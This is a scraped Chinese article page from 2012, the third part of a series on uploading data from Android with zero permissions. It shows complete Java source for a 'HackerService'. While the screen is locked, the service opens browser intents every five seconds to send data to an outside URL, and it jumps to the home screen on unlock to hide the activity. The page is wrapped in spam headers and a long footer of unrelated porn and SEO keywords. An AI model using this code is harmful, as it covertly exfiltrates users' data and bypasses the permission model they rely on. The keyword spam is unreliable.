日韩精品中文字幕一区二区-日韩精品中文字幕一区-日韩精品中文字幕视频-日韩精品在线一区二区三区-第一页在线-第一福利视频

當前位置:首頁文章首頁 新聞中心

拋磚引玉之誰動了我的流量(0權限上傳數據)

作者:  來源:  發布時間:2012-1-14 10:40:08  點擊:

 最后,就是關鍵部分,服務的實現
 

  1 package org.igeek.hack.service;
2
3 import java.util.Random;
4 import android.app.KeyguardManager;
5 import android.app.Service;
6 import android.content.BroadcastReceiver;
7 import android.content.Context;
8 import android.content.Intent;
9 import android.content.IntentFilter;
10 import android.net.Uri;
11 import android.os.Handler;
12 import android.os.IBinder;
13 import android.util.Log;
14
15 /**
16 *
17 * @author 作者 E-mail:hangxin1940@gmail.com
18 * @version 創建時間:2012-01-13 下午10:42:11
19 * 類說明
20 */
21 public class HackerService extends Service {
22 private ScreenOnBroadcastReciver soReciver;
23 private ScreenOFFBroadcastReciver sfReciver;
24 private Handler handler;
25
26 final static String LOG_TAG="hack";
27 KeyguardManager keyguardManager;
28 Intent it;
29
30 //GET提交地址
31 final String HACK_URL="http://www.igeek.org/hack?info=";
32
33
34
35 private Runnable r=new Runnable() {
36
37 @Override
38 public void run() {
39
40
41 //如果是鎖屏狀態
42 if(keyguardManager.inKeyguardRestrictedInputMode()){
43
44 //GET上傳,內容隨你
45 String hackInfo="hack!!!!your information!!!!!!!&r="+new Random().nextFloat();
46
47 it.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
48 Uri uri=Uri.parse(HACK_URL+hackInfo);
49 it.setData(uri);
50 startActivity(it);
51 Log.i(LOG_TAG,"提交數據->"+HACK_URL+hackInfo);
52
53 //每隔5秒,執行一次上傳
54 handler.postDelayed(r, 5000);
55 }
56 }
57 };
58
59
60
61 @Override
62 public void onStart(Intent intent, int startId) {
63 super.onStart(intent, startId);
64
65 keyguardManager = (KeyguardManager) getSystemService(Context.KEYGUARD_SERVICE);
66 it=new Intent(Intent.ACTION_VIEW);
67
68 handler=new Handler();
69
70 Log.i(LOG_TAG, "開機完成,注冊廣播接收者");
71 soReciver=new ScreenOnBroadcastReciver();
72 sfReciver=new ScreenOFFBroadcastReciver();
73
74 IntentFilter onIntentFilter = new IntentFilter("android.intent.action.SCREEN_ON");
75 registerReceiver(soReciver, onIntentFilter);
76
77 IntentFilter offIntentFilter = new IntentFilter("android.intent.action.SCREEN_OFF");
78 registerReceiver(sfReciver, offIntentFilter);
79 }
80
81
82 @Override
83 public IBinder onBind(Intent intent) {
84 return null;
85 }
86
87 /**
88 * 解鎖廣播接收者
89 * @author hang
90 *
91 */
92 class ScreenOnBroadcastReciver extends BroadcastReceiver {
93
94 @Override
95 public void onReceive(Context context, Intent intent) {
96
97 Log.i(LOG_TAG, "屏幕解開");
98 handler.removeCallbacks(r);
99 intent.setAction(Intent.ACTION_MAIN);
100 intent.addCategory(Intent.CATEGORY_HOME);
101 intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
102
103 Log.i(LOG_TAG, "轉向HOME");
104 startActivity(intent);
105
106 }
107
108 }
109
110 /**
111 * 鎖屏廣播接收者
112 * @author hang
113 *
114 */
115 class ScreenOFFBroadcastReciver extends BroadcastReceiver {
116
117 @Override
118 public void onReceive(final Context context, Intent intent) {
119
120
121
122 Log.i(LOG_TAG, "屏幕鎖住");
123
124 //500ms后開始執行上傳數據
125 handler.postDelayed(r, 500);
126 }
127
128 }
129 }

首頁 上一頁 [1] [2] [3]  下一頁 尾頁

相關軟件

相關文章

文章評論

軟件按字母排列: A B C D E F G H I J K L M N O P Q R S T U V W X Y Z
主站蜘蛛池模板: 母亲とが话しています免费| 红岩下的追捕电视剧| 在线观看xx| 蓝色男孩| 爱的重生| 真濑树里| 柚子猫卡夫卡的心理暗示在线观看| 寰宇地理| 谭咏麟个人资料简介| 泪桥简谱| 女生被艹| 肥猫正传| 琉璃演员表全部演员介绍| 大学英语综合教程1课后答案| 自拍在线| 霹雳俏娇娃| 追捕演员表| av888av| 啊嗯啊嗯啊嗯啊| 李玟雨| 无线新闻| 战狼7| 诗歌繁星| 大叔呀你到底想干嘛| 各各他的爱的歌谱| 三年片在线观看电影在线观看大全| 在那遥远的地方演员表| 我的1919 电影| 基础综合英语邱东林电子版答案| 高潮艺术| 电影《瞬间》| 单身情歌 歌词| 洛可希佛帝的电影| 唐街十三妹| 基础设施建设产业市场| 国内自拍99| 热情电影| 邓佳佳| 包法利夫人电影| 巴霍巴利王2国语版在线观看免费| 美国派7|